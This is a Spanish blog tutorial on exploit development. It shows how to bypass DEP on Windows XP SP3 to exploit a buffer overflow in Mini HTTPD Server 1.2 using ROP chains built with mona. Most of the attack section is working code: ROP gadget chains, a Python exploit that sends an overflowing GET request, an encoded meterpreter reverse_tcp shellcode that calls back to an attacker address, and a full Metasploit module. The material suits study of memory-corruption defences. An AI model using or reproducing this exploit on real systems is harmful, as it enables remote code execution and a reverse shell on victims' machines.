Como saltarnos DEP: Mini HTTPD Server 1.2

En el anterior artículo sobre explotar Mini HTTPD Server 1.2, comenté que estábamos trabajando sobre un Windows XP SP3 sin DEP (data execution prevention). Esto no es del todo cierto, en realidad Windows XP SP3 si tiene DEP, pero por defecto viene configurado como “OptIn”, lo que significa que solo están protegidos por DEP los servicios y programas esenciales de Windows. Para este nuevo post, vamos a configurar DEP como “OptOut” lo que significa que se activa para todos los servicios y programas excepto los que se quieran añadir en la lista de exclusión.

Así pues, en nuestro Windows XP vamos a las propiedades del sistema, pestaña “Avanzado” y pulsamos el botón “Configurar” de la sección “Rendimiento”. En las opciones de rendimiento vamos a la pestaña de DEP (la última) y seleccionamos la segunda opción (por defecto vendrá marcada la primera). Después aceptamos y reiniciamos el sistema. A continuación un pantallazo de la configuración (en inglés en este caso ya que el Windows utilizado en la demo está en inglés).

dep1

Una vez reiniciada la máquina, vamos a volver a ejecutar nuestro exploit a ver que pasa.

dep2

Como se puede ver en la imagen, el exploit se ejecuta pero no nos devuelve la sesión. Ahora veremos lo que está pasando en la máquina victima desde el “Immunity Debugger”.

Arrancamos el depurador, lo anexamos al proceso “minihttpd.exe” y volvemos a ejecutar el exploit.

dep3

Como vemos, nos está dando una violación de acceso en la dirección 0x00C8DC6C donde se encuentran los opcodes que en nuestro exploit mueve ESP hacia arriba de la pila para no tener problemas al ejecutar el “shellcode”. A priori estos opcodes son correctos, entonces ¿Porque tenemos una violación de acceso? Es culpa de DEP, que no nos deja ejecutar código en la pila que es precisamente donde nosotros estamos poniéndolo.

El método para poder ejecutar código arbitrario cuando tenemos DEP activo, es intentar buscar en memoria direcciones que apunten a determinadas instrucciones que queremos ejecutar (conocido como return to libc) seguidas de una instrucción “RET” e ir encadenándolas en la pila. El encadenamiento de estas instrucciones es lo que se conoce como ROP (Return Oriented Programming).

Un poco de teoría sobre ROP:

El registro EIP (Instruction Pointer) contiene la dirección en memoria de la siguiente instrucción que se va a ejecutar.La instrucción “RET”, des apila el último valor puesto en la pila, y lo carga en EIP. Por la tanto si sobrescribimos EIP con un puntero a una instrucción “RET” y ponemos en la pila una serie de punteros a instrucción y nos aseguramos que después de dicha instrucción hay un “RET”, conseguimos encadenar las instrucciones necesarias para realizar las acciones deseadas (hay que tener en cuenta que las instrucciones “POP” y “PUSH” modifican la pila, por lo tanto hay que prepararla para que dichas instrucciones no modifiquen la cadena de instrucciones que queremos ejecutar).Como ejemplo, la siguiente imagen:dep4En la imagen, hemos sobrescrito EIP con la dirección 0x77c46027 que es un puntero a las instrucciones (pop ecx, ret). A continuación hemos preparado la pila para que la instrucción “POP” saque el valor “0xffffffff” y lo pongo en “ECX”, y después la instrucción “RET” ponga en “EIP” la dirección “0x77c3ba0f”.Ahora vemos el estado de la pila y los registros después de ejecutarse esas dos instrucciones:dep5Como podemos observar, ahora ya estamos preparados para ejecutar las instrucciones siguientes.

Mediante ROP podríamos intentar crear el shellcode que necesitamos ejecutar pero no es seguro que pudiéramos encontrar todas las instrucciones necesarias. Afortunadamente la API de Windows nos ofrece una serie de funciones que nos van a permitir marcar la pila del proceso como memoria ejecutable, y una vez hecho esto, ya podremos ejecutar código en la pila como si de un exploit convencional se tratara.

Existen distintas funciones para esta finalidad dependiendo de la versión de Windows, pero las más utilizadas (por ser las mas portables entre distintas versiones de Windows) son “VirtualAlloc” y “VirtualProtect”.

La descripción de “VirtualAlloc” puede verse en http://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspxVirtualAlloc reserva una región de páginas en el espacio de memoria virtual del proceso llamador.

Aquí su sintaxis:

dep6-virtualalloc

Los parámetros que recibe “VirtualAlloc” son la dirección de memoria donde empezar la reserva, el tamaño de memoria a reservar en bytes, el tipo de reserva a realizar y la protección de memoria para las páginas reservadas. Este ultimo parámetro, si se pone a “0x40” (PAGE_EXECUTE_READWRITE) nos permitirá ejecutar código en esa zona de memoria reservada.

La descripción de “VirtualProtect” puede verse en http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx. VirtualProtect sirve para cambiar el tipo de protección de una región de memoria dentro del espacio de memoria virtual del proceso llamador.

Aquí su sintaxis:

dep7-virtualprotect

En este caso, hay que pasar la dirección a partir de la cual cambiar la protección, el tamaño en bytes de la región a cambiar, el tipo de protección deseada (0x40) y un puntero a una variable que recibirá el valor de la protección actual de la zona. Este último valor debe ser una variable buena, si es “null” o una variable que no existe la llamada fallará.

Después de la teoría sobre ROP y funciones de la API de Windows, vamos a ver ahora como hacer un exploit empleando estás técnicas, con la ayuda de “Mona” que nos va a facilitar bastante el trabajo.

Ejecutamos el comando “!mona rop” en “Immunity Debugger” lo cual creará los ficheros “rop.txt”, “rop_chains.txt”, “rop_suggestions.txt” y “stackpivot.txt” en “c:\logs\minihttpd\”.

En el fichero “rop_chains.txt”, mona intenta generar una cadena de instrucciones para llamar a las funciones “Virtualalloc” o “Virtualprotect” y marcar el stack como ejecutable para poder así ejecutar nuestro “shellcode”. Dicha cadena de instrucciones se presenta como una función tanto en Python, Ruby o Javascript, para poder insertar directamente en nuestro exploit.

Esta es la función que “mona” crea para llamar a “Virtualalloc” desde un exploit de Mesploit (Ruby).

[code]
def create_rop_chain()
# rop chain generated with mona.py – www.corelan.be
rop_gadgets =
[
0x0040ae28,  # POP EAX # RETN [minihttpd.exe]
0x0041a140,  # ptr to &VirtualAlloc() [IAT minihttpd.exe]
0x0040fb5f,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [minihttpd.exe]
0x004176cf,  # PUSH EAX # POP ESI # RETN 0x04 [minihttpd.exe]
0x00406a6b,  # POP EBP # RETN [minihttpd.exe]
0x41414141,  # Filler (RETN offset compensation)
0x004165ec,  # & push esp # ret 0x0c [minihttpd.exe]
0x0040a5cd,  # POP EBX # RETN [minihttpd.exe]
0x00000001,  # 0x00000001-> ebx
0x00418ffc,  # POP EBX # RETN [minihttpd.exe]
0x00001000,  # 0x00001000-> edx
0x0040c93c,  # XOR EDX,EDX # RETN [minihttpd.exe]
0x0040aeae,  # ADD EDX,EBX # POP EBX # RETN 0x10 [minihttpd.exe]
0x41414141,  # Filler (compensate)
0x00406f90,  # POP ECX # RETN [minihttpd.exe]
0x41414141,  # Filler (RETN offset compensation)
0x41414141,  # Filler (RETN offset compensation)
0x41414141,  # Filler (RETN offset compensation)
0x41414141,  # Filler (RETN offset compensation)
0x00000040,  # 0x00000040-> ecx
0x00408cf0,  # POP EDI # RETN [minihttpd.exe]
0x00403f01,  # RETN (ROP NOP) [minihttpd.exe]
0x0040864f,  # POP EAX # RETN [minihttpd.exe]
0x90909090,  # nop
0x00418b61,  # PUSHAD # ADD AL,0 # RETN [minihttpd.exe]
].flatten.pack("V*")
return rop_gadgets
end
[/code]

Como se puede observar, esta cadena no nos sirve ya que tiene bytes que están en nuestro lista de “bad chars”, ya que no le hemos dicho a “mona” que debía excluir dichos bytes.

Para filtrar dichos bytes, hay que volver a ejecutar el comando que genera la cadena, pero esta vez pasándole los bytes que hay que descartar.

[code]!mona rop -cpb ‘\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'[/code]

Después de ejecutar “mona rop”, si consultamos el fichero “rop_chains.txt” veremos que no se ha podido generar ninguna cadena, debido a que no hay instrucciones para generarla libres de “bad chars”.

Por defecto, mona cuando busca las cadenas ROP descarta los módulos propios del SO para buscar gadgets. En este caso, vamos a forzar mona a utilizar algunos módulos a ver si podemos encontrar alguna cadena válida. Probamos con “msvcrt.dll”, el mismo módulo que hemos usado para el salto a ESP.

Ejecutamos:

[code]!mona rop -cpb ‘\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’ –m msvcrt.dll[/code]

Y en esta ocasión en “rop_chains.txt” encontramos lo siguiente:

[code]
def create_rop_chain()
# rop chain generated with mona.py – www.corelan.be
rop_gadgets =
[
0x77c3ba0f, # POP EBP # RETN [msvcrt.dll]
0x77c3ba0f, # skip 4 bytes [msvcrt.dll]
0x77c39ede, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479d8, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x5ad71244, # ptr to &VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT uxtheme.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to ‘push esp # ret ‘ [msvcrt.dll]
].flatten.pack("V*")
return rop_gadgets
end
[/code]

Ahora ya tenemos una cadena de instrucciones válida para nuestro exploit que ejecutará la llamada “Virtualalloc” para cambiar el estado de la pila del proceso y permitirnos ejecutar código en ella.

Ahora, hay que recordar que en nuestro anterior exploit utilizamos una dirección sacada de “ntdll.dll” para ejecutar un “jmp esp” que nos enviaba justo a ejecutar el código al que apuntaba ESP. Como lo que tenemos ahora en ESP no será código sino punteros a código, necesitamos cambiar dicha dirección por un “ret”. La instrucción “ret” lo que hace es sacar el valor del tope de la pila y meterlo en EIP (el puntero a instrucción).

Si consultamos el fichero “rop.txt” que generamos anteriormente con “!mona rop –cpb ‘\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’”, en el encontramos algunas instrucciones del tipo “pop ret”. En este caso elegimos la dirección 0x77c46027 de la librería “msvcrt.dll” (la misma que utilizamos para generar el “rop”).

0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}

Cuando se ejecuten estas instrucciones ocurrirá lo siguiente:

  • POP ECX: sacará de la pila el último valor y almacenará en el registro ECX.
  • RET: Se sacará de la pila el siguiente valor, se meterá en EIP y la ejecución saltará al lugar apuntado por dicho valor.

Por lo tanto, si se sobrescribe EIP con el valor 0x77c46027, justo después tendremos que poner 4 bytes de relleno para que el “pop ecx” los desapile, y a continuación nuestra cadena “rop” para que la instrucción “ret” devuelva la ejecución sobre la primera instrucción de la cadena.

Nuestro buffer sería algo asi:

967 bytes EIP 4 bytes ROP
AAAA…AAAA 0x77c46027 BBBB 0x…

En nuestro primer exploit, encontramos un espacio de 335 bytes para alojar nuestro shellcode, pero en esta ocasión vamos a ver si podemos encontrar más espacio disponible.

Para ello vamos a crear un patrón de 967 bytes, los vamos a poner en nuestro buffer y se lo enviamos a “minihttpd” mientras lo tenemos abierto en “Immunity Debugger”.

Este es el código del exploit anterior modificado con el patrón:

[code]
import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’
# Shellcode max size 335 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack(‘<I’, 0x77c46027) # POP ECX, RET (msvcrt.dll)
JMP = ‘\x81\xc4\x10\xfa\xff\xff’ # add esp,-5F0h move ESP away
JMP += ‘\xe9\x46\xfe\xff\xff’ # jmp $-437 Jump back to shellcode

# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B"

buffer = pattern
buffer += ‘A’ * (offset_eip – len(buffer))
buffer += EIP
buffer += ‘\xff\xff\xff\xff’ # value poped to ECX (padding)
buffer += rop
buffer += JMP
buffer += ‘E’ * (1500 – len(buffer))
HOST = ‘127.0.0.1’
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
print "Sending "+str(len(req))+" bytes."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print ‘Received’, repr(data)
[/code]

Una vez lanzado, se genera una violación de acceso. Desde “Immunity Debugger” ejecutamos “!mona findmsp”.

Aquí tenemos parte del contenido de “findmsp.txt”.

[+] Examining stack (entire stack) – looking for cyclic pattern
Walking stack from 0x00c8c000 to 0x00cafffc (0x00023ffc bytes)
0x00c8d898 : Contains normal cyclic pattern at ESP-0x430 (-1072) : offset 632, length 335 (-> 0x00c8d9e6 : ESP-0x2e1)
0x00c8dc04 : Contains normal cyclic pattern at ESP-0xc4 (-196) : offset 867, length 60 (-> 0x00c8dc3f : ESP-0x88)
0x00c8dcec : Contains normal cyclic pattern at ESP+0x24 (+36) : offset 103, length 864 (-> 0x00c8e04b : ESP+0x384)
0x00c8e3dc : Contains normal cyclic pattern at ESP+0x714 (+1812) : offset 866, length 101 (-> 0x00c8e440 : ESP+0x779)
0x00c8e4c4 : Contains normal cyclic pattern at ESP+0x7fc (+2044) : offset 630, length 337 (-> 0x00c8e614 : ESP+0x94d)
0x00c8e834 : Contains normal cyclic pattern at ESP+0xb6c (+2924) : offset 869, length 98 (-> 0x00c8e895 : ESP+0xbce)
0x00c8e91c : Contains normal cyclic pattern at ESP+0xc54 (+3156) : offset 105, length 862 (-> 0x00c8ec79 : ESP+0xfb2)
0x00c8eea4 : Contains normal cyclic pattern at ESP+0x11dc (+4572) : offset 269, length 698 (-> 0x00c8f15d : ESP+0x1496)
0x00c8f570 : Contains normal cyclic pattern at ESP+0x18a8 (+6312) : offset 725, length 242 (-> 0x00c8f661 : ESP+0x199a)
0x00c8f88c : Contains normal cyclic pattern at ESP+0x1bc4 (+7108) : offset 269, length 698 (-> 0x00c8fb45 : ESP+0x1e7e)

En negrita he marcado 2 lineas, la primera es la utilizamos en nuestro exploit anterior, donde solo teníamos 335 bytes y debíamos hacer un salto hacia detrás para alcanzar el “shellcode”. La segunda es otra ubicación que nos permite hasta 864 bytes para almacenar el “shellcode”, y que además se puede alcanzar con un salto corto.

Así pues, vamos a modificar nuestro primer exploit en “Python”, añadiremos la cadena ROP generada por “mona” (la versión de python), la nueva dirección para sobrescribir EIP y nuestro shellcode esta vez lo colocaremos después de un offset de 103 bytes, en lugar de los 632 bytes que utilizábamos en el anterior.

Para el salto, utilizamos como de costumbre “metasm_shell.rb”.

dep8

A continuación nuestro nuevo exploit:

[code]
import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’
# Shellcode max size 864 bytes.
offset_eip = 967
offset_shellcode = 103
EIP = struct.pack(‘<I’, 0x77c46027) # POP ECX, RET (msvcrt.dll)
#JMP = ‘\x81\xc4\x10\xfa\xff\xff’ # add esp,-5F0h move ESP away
JMP = ‘\xeb\x22’ # jmp $+0x24 Jump to shellcode
buffer = ‘A’ * offset_shellcode
# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
shellcode = ( "\xb8\x54\x28\xa2\x05\xd9\xc1\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xa1\xd4\x4a\x83"
"\x49\x25\x8b\xec\xc0\xc0\xba\x3e\xb6\x81\xef\x8e\xbd\xc4\x03"
"\x64\x93\xfc\x90\x08\x3b\xf2\x11\xa6\x1d\x3d\xa1\x06\xa1\x91"
"\x61\x08\x5d\xe8\xb5\xea\x5c\x23\xc8\xeb\x99\x5e\x23\xb9\x72"
"\x14\x96\x2e\xf7\x68\x2b\xc4\x4b\x7d\x2b\x39\x19\x7c\x1a\xec"
"\x16\x27\xbc\x0e\xfb\x53\xf5\x08\x18\x5f\x4f\xa2\xea\x2b\x4e"
"\x62\x23\xd3\x60\x4a\xef\xea\x4c\x47\xee\x2b\x6a\xb8\x85\x47"
"\x88\x45\x9d\x93\xf2\x91\x28\x06\x54\x51\x8a\xe2\x64\xb6\x4c"
"\x60\x6a\x73\x1b\x2e\x6f\x82\xc8\x44\x8b\x0f\xef\x8a\x1d\x4b"
"\xcb\x0e\x45\x0f\x72\x16\x23\xfe\x8b\x48\x8b\x5f\x29\x02\x3e"
"\x8b\x44\x49\x57\x78\x64\x72\xa7\x16\xff\x01\x95\xb9\xab\x8d"
"\x95\x32\x75\x49\xd9\x68\xc1\xc5\x24\x93\x31\xcf\xe2\xc7\x61"
"\x67\xc2\x67\xea\x77\xeb\xbd\xbc\x27\x43\x6e\x7c\x98\x23\xde"
"\x14\xf2\xab\x01\x04\xfd\x61\x2a\xae\x07\xe2\x95\x86\x49\x7e"
"\x7d\xd4\x49\x6f\x22\x51\xaf\xe5\xca\x37\x67\x92\x73\x12\xf3"
"\x03\x7b\x89\x79\x03\xf7\x3d\x7d\xca\xf0\x48\x6d\xbb\xf0\x07"
"\xcf\x6a\x0e\xb2\x7a\x93\x9a\x38\x2d\xc4\x32\x42\x08\x22\x9d"
"\xbd\x7f\x38\x14\x2b\xc0\x57\x59\xbb\xc0\xa7\x0f\xd1\xc0\xcf"
"\xf7\x81\x92\xea\xf7\x1c\x87\xa6\x6d\x9e\xfe\x1b\x25\xf6\xfc"
"\x42\x01\x59\xfe\xa0\x93\xa6\x29\x8d\x11\xde\x5f\xfd\xd9" )

def create_rop_chain():
# rop chain generated with mona.py – www.corelan.be
rop_gadgets = [
0x77c3ba0f, # POP EBP # RETN [msvcrt.dll]
0x77c3ba0f, # skip 4 bytes [msvcrt.dll]
0x77c39ede, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479d8, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x5ad71244, # ptr to &VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT uxtheme.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to ‘push esp # ret ‘ [msvcrt.dll]
]
return ».join(struct.pack(‘<I’, _) for _ in rop_gadgets)

rop = create_rop_chain()
buffer += shellcode
buffer += ‘A’ * (offset_eip – len(buffer))
buffer += EIP
buffer += ‘\xff\xff\xff\xff’ # value poped to ECX (padding)
buffer += rop
buffer += JMP
buffer += ‘E’ * (1500 – len(buffer))
HOST = ‘127.0.0.1’
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
print "Sending "+str(len(req))+" bytes."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print ‘Received’, repr(data)
[/code]

La traducción de este nuevo exploit a módulo de Metasploit:

[code]
require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize super( ‘Name’ => ‘Mini HTTPD Server 1.2 Exploit’,
‘Description’ => ‘This module sends a crafted url to exploit a buffer overflow error’,
‘Author’ => ‘h4rds3c’,
‘Payload’ => {‘Space’ => 700, ‘BadChars’ => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"},
‘Targets’ =>
[
[‘Win XP Sp3 English’,
{
‘Ret’ => 0x77c46027, # POP ECX # RETN ** [msvcrt.dll] **
‘OffSet’ => 967,
}
]
],
‘Platform’ => ‘windows’,
)
register_options( [
Opt::RPORT(80)
], self.class)
end

def create_rop_chain()

# rop chain generated with mona.py – www.corelan.be
rop_gadgets =
[
0x77c3ba0f, # POP EBP # RETN [msvcrt.dll]
0x77c3ba0f, # skip 4 bytes [msvcrt.dll]
0x77c39ede, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479d8, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x5ad71244, # ptr to &VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT uxtheme.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to ‘push esp # ret ‘ [msvcrt.dll]
].flatten.pack("V*")

return rop_gadgets

end

# Connect to port, send the payload, handle it, disconnect
def exploit
offset_shellcode = 103
size = 1500

jmp_code = "\xeb\x22" # jmp $+0x24

buffer = ‘A’ * offset_shellcode # Padding before the payload
buffer << payload.encoded # Payload from Mestasploit.
buffer << ‘A’ * (target[‘OffSet’]-buffer.length) # Padding until EIP overwrite
buffer << [target.ret].pack(‘V’) # 0x77c46027 : # POP ECX, RET (msvcrt.dll)
buffer << "\xff\xff\xff\xff" # value to pop on ECX (padding)
buffer << create_rop_chain()
buffer << jmp_code
buffer << ‘A’ * (size-buffer.length) # Padding until buffer size

print_status("total buffer size: "+buffer.length.to_s)
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
connect()
print_status("Sending evil buffer…("+req.length.to_s+" bytes)")
sock.put(req)
handler()
disconnect()
end
end
[/code]

Aquí la prueba del funcionamiento.

Atacante:

dep10

Víctima:

dep11

Nota: Al hacer el módulo de Metasploit, al principio el exploit fallaba, pero revisándolo con el depurador todo parecía correcto, se llegaba bien hasta la ejecución del “shellcode” y era aquí donde fallaba (en la parte generada dinámicamente por Metasploit). Ya que la única diferencia entre la versión de Python y la de Metasploit era el tamaño del “payload” y el uso de relleno para llegar hasta el “offset” del EIP, probé a reducir el tamaño del “payload” de los 864 bytes que caben a 800 bytes primero, y a 700 bytes después, utilizando después un relleno de “A”s para llegar al “offset” de EIP. Con los payload de 700 bytes, el exploit funciona en todas las ocasiones en que lo lanzo, pero aún no he comprendido el porque de esta situación.

Si algún lector del post sabe la razón por la que esto ocurre, está invitado a dejar un comentario con la explicación o a contactarme directamente por mail y mandarme dicha explicación. Estaría enormemente agradecido.

Espero que la lectura haya merecido la pena, hasta la próxima.

1 comentario en «Como saltarnos DEP: Mini HTTPD Server 1.2»

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*